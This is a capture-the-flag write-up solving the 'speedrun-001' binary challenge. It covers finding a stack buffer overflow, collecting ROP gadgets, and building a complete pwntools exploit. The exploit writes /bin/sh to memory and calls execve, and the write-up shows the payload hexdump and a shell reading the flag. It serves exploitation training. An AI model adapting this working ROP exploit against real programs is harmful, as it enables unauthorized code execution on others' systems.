Solution
first let's run pwn checksec onto the binary and execute it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ pwn checksec speedrun-001
[*] '/home/nothing/binexp/2/speed/speedrun-001'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ./speedrun-001
Hello brave new challenger
Any last words?
yes
This will be the last thing that you say: yes
Alas, you had no luck today.
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ./speedrun-001
Hello brave new challenger
Any last words?
no
This will be the last thing that you say: no
Alas, you had no luck today.
So here we have a 64bit statically compiled binary, the binary has NX which means Non Executable stack enabled, this means that the stack memory region is not executable, to get more info on this, we look at the binary from inside ghidra, however the main function isn't called 'main' as usual, this time we need to find where the output text is:
We can use the CTRL+Shift+E to search for the program text line 'Any last words?' since it's safe to assume that it is in the main function
Now we know the main function is FUN_00400b60 and it has the following code:
void FUN_00400b60(void)
{
undefined local_408 [1024];
FUN_00410390("Any last words?");
FUN_004498a0(0,local_408,2000);
FUN_0040f710("This will be the last thing that you say: %s\n",local_408);
return;
}
Here we see that our text gets put into the variable local_408 into a function called 'FUN_004498a0() which
takes in 3 arguements, so let's investigate what this function really does:'
/* WARNING: Removing unreachable block (ram,0x00449910) */
/* WARNING: Removing unreachable block (ram,0x00449924) */
undefined8 FUN_004498a0(undefined8 param_1,undefined8 param_2,undefined8 param_3)
{
undefined4 uVar1;
if (DAT_006bc80c == 0) {
syscall();
return 0;
}
uVar1 = FUN_0044be40();
syscall();
FUN_0044bea0(uVar1,param_2,param_3);
return 0;
}
So the function scans for our input (which is param_2) by making a syscall instead of using the usual fgets or scanf. Looking at the assembly code around the syscall we see the following:
there is a xor call to set eax to 0 and thus the rax register is also set to 0, and we know that the rax register is important on the x86_64 architecture because this is what determines what our syscall ID is, you can check what those syscalls are here:
since rax is being set to 0 we are dealing with a read syscall, although we don't see the arguements
being loaded for the syscall becasue they were already loaded when the function was called. Therefore the
arguements this function takes, and the registers they take it in, are the same as the read syscall, so it can just call the read syscall after setting rax to zero (xoring eax with itself)
FUN_004498a0(0,local_408,2000);
Looking back at the call to that function, we see that the third arguement is set to 2000, this means that the third arguement
(param_3) gets passed into the syscall as an arguement, we can assume this is a limit to our text input variable (local_408)
which can only hold 1024 bytes as it was initialized like so:
undefined local_408 [1024];
Now here that we are scanning in 2000 bytes worth of input into our input value, which can only hold 1024 bytes, this means that there is an overflow that can potentially overflow and overwrite the return address to get code execution.
The goal here is to create a ROP chain (Return Oriented Programming)
and to use the buffer overflow to execute it. the ROP chain is made up of ROP gadgets, these are bits of code in the binary itself that end in a ret instruction
We don't have to worry about the code being non-executable because this will be all valid code. Since PIE is disabled, we know the address of all of the binary file's instructions.
Since the binary file is statically linked, that means it is a large binary with plenty of potential gadgets.
The plan here is to make a ROP chain to make a execve() syscall to execute /bin/sh and to give us a shell. The required registers are the following:
rax: 59 #rax contains the syscall ID
rdi: ptr to "bin/sh" #rbx contains the first arguement (the file to execute)
rsi: 0 #rsi : 2nd arg
rdx: 0 #rdx : 3rd arg
The ROP chain we will build will have 3 parts. First we write /bin/sh somewhere in memory,
then move the pointer to it into the rdi register.
Second, we move the necessary values into the other 3 registers.
Third, we need to make the syscall itself.
Now we need to find where in memory we can write /bin/sh
To do so we check the memory mappings while the ELF is running to see what we have to work with.
So let's first choose where we will put our breakpoint:
00400ba1 b8 00 00 MOV EAX,0x0
00 00
00400ba6 e8 65 eb CALL FUN_0040f710 undefined FUN_0040f710(undefined
00 00
00400bab 90 NOP
00400bac c9 LEAVE
00400bad c3 RET
So here we see that the last text output of the binary is at 0x400ba6 so we set our breakpoint right after at 0x400bab
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ gdb ./speedrun-001
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./speedrun-001...
(No debugging symbols found in ./speedrun-001)
gef➤ b *0x400bab
Breakpoint 1 at 0x400bab
gef➤ r
Starting program: /home/nothing/binexp/2/speed/speedrun-001
Hello brave new challenger
Any last words?
13371337
This will be the last thing that you say: 13371337
Breakpoint 1, 0x0000000000400bab in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x34
$rbx : 0x0000000000400400 → sub rsp, 0x8
$rcx : 0x0
$rdx : 0x00000000006bbd30 → 0x0000000000000000
$rsp : 0x00007fffffffdad0 → "13371337\n"
$rbp : 0x00007fffffffded0 → 0x00007fffffffdef0 → 0x0000000000401900 → push r15
$rsi : 0x0
$rdi : 0x1
$rip : 0x0000000000400bab → nop
$r8 : 0x34
$r9 : 0x34
$r10 : 0xfffffff7
$r11 : 0x246
$r12 : 0x00000000004019a0 → push rbp
$r13 : 0x0
$r14 : 0x00000000006b9018 → 0x0000000000443e60 → mov rcx, rsi
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdad0│+0x0000: "13371337\n" ← $rsp
0x00007fffffffdad8│+0x0008: 0x000000000000000a
0x00007fffffffdae0│+0x0010: 0x0000000000000000
0x00007fffffffdae8│+0x0018: 0x0000000000000000
0x00007fffffffdaf0│+0x0020: 0x0000000000000000
0x00007fffffffdaf8│+0x0028: 0x0000000000000000
0x00007fffffffdb00│+0x0030: 0x0000000000000000
0x00007fffffffdb08│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400b9a lea rdi, [rip+0x919b7] # 0x492558
0x400ba1 mov eax, 0x0
0x400ba6 call 0x40f710
●→ 0x400bab nop
0x400bac leave
0x400bad ret
0x400bae push rbp
0x400baf mov rbp, rsp
0x400bb2 lea rdi, [rip+0x919cd] # 0x492586
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped 0x400bab in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400bab → nop
[#1] 0x400c1d → mov eax, 0x0
[#2] 0x4011a9 → mov edi, eax
[#3] 0x400a5a → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
So here we basically used gdb to set the breakpoint at 0x400bab and then we ran the binary,
putting 13371337 as our input text so that it is an easy pattern to find in memory. So before we check for where our pattern is in memory, let's check the memory mappings to see what we have to work with:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/nothing/binexp/2/speed/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/nothing/binexp/2/speed/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
Now here we see the elf memory region between 0x6b6000 and 0x6bc000 because this is from the elf's memory space
that does not have PIE, therefore we know what the address is without an infoleak. In addition to that, the permissions are
rw as you can see on the right, which means that we can read and write to it. Since the space in between the aforementionned memory addresses is only zeroes, we shouldn't mess anything up if we store it here. So let's find the offset between the start of our input where our 13371337 pattern is:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffb46a - 0x7fffffffb476 → "13371337\n\n"
0x7fffffffdad0 - 0x7fffffffdada → "13371337\n"
gef➤ info frame
Stack level 0, frame at 0x7fffffffdee0:
rip = 0x400bab; saved rip = 0x400c1d
called by frame at 0x7fffffffdf00
Arglist at 0x7fffffffdac8, args:
Locals at 0x7fffffffdac8, Previous frame's sp is 0x7fffffffdee0
Saved registers:
rbp at 0x7fffffffded0, rip at 0x7fffffffded8
Here we see that our input address is at 0x7fffffffdad0 and the return address is at 0x7fffffffded8 ,
Now let's calculate the offset between the 2 addresses:
[ 192.168.0.18/24 ] [ /dev/pts/6 ] [blog/binexp/2]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffdad0 - 0x7fffffffded8 )
'-0x408'
Now we know that have an offset of 0x408 bytes between our input text and the return function.
Next step is to find the ROP Gadgets we will use. To do so we will use ROPGadgets.py you can check out how we installed it
in the previous tutorial here. Now let's find the gadgets we need for the rax, rdi, rsi and rdx registers using the following template:
"pop register ; ret"
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rdi ; ret"
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
0x0000000000400686 : pop rdi ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rsi ; ret"
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004101f3 : pop rsi ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rdx ; ret"
0x00000000004a8881 : js 0x4a88fe ; pop rdx ; retf
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf
So we have found the following gadget addresses for each of our registers:
rax 415664
rdi 400686
rsi 4101f3
rdx 4498b5
Next we will need a gadget which will write the string /bin/sh somewhere in memory, for this we just look through all the gadgets with a mov instruction, we want a rax pointer and the gadget must end with ; ret:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "mov" | grep "ptr \[rax\]" | grep "; ret$"
Looking through for the shortest (and simplest) instructions we find the following:
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
This gadget will allow us to write an 8 byte value stored in rdx to whatever address is pointed to by the rax register. In addition this is convenient becuase we can use the 4 gadgets we found earlier to prepare this write. And lastly we need to find a gadget to actually make the syscall:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "syscall"
[...]
0x000000000040dbdd : sub dword ptr [rsp + 0xf0], eax ; syscall
0x0000000000475453 : sub esp, 8 ; syscall
0x0000000000475452 : sub rsp, 8 ; syscall
0x000000000040129c : syscall
[...]
And we have our syscall gadget at 0x40129c. With all of the above, we can finally construct our ROP chain, so we will overwrite the return address with the first gadget of the rop chain, and when it returns it will keep on going down the chain until we get our shell. To move the values into registers, we store the values on the stack inside the ROP chain, and they will be popped off into registers. So we end up with the following exploit:
from pwn import *
target = process('./speedrun-001')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = b""
rop += popRdx
rop += b"/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prepare the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = b"\x00"*0x408 + rop
print(hexdump(payload))
Let's run the exploit to see the hexdump of our payload:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
→ python3 exploit.py
[+] Starting local process './speedrun-001': pid 2115567
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│
00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│
00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│
00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│
00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│
00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│
00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│
00000470 9c 12 40 00 00 00 00 00 │··@·│····│
00000478
Now that we see our payload is correct, we send it to the binary file with the following 2 lines:
target.sendline(payload)
target.interactive()
Now let's run the exploit to see if everything works as intended:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
→ python3 exploit.py
[+] Starting local process './speedrun-001': pid 2146710
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│
00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│
00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│
00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│
00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│
00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│
00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│
00000470 9c 12 40 00 00 00 00 00 │··@·│····│
00000478
[*] Switching to interactive mode
Hello brave new challenger
Any last words?
This will be the last thing that you say:
$ cat flag.txt
flag{g0ttem_b0yz}
$ id
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel)
$
And that's it! We have been able to spawn a shell and print out the flag!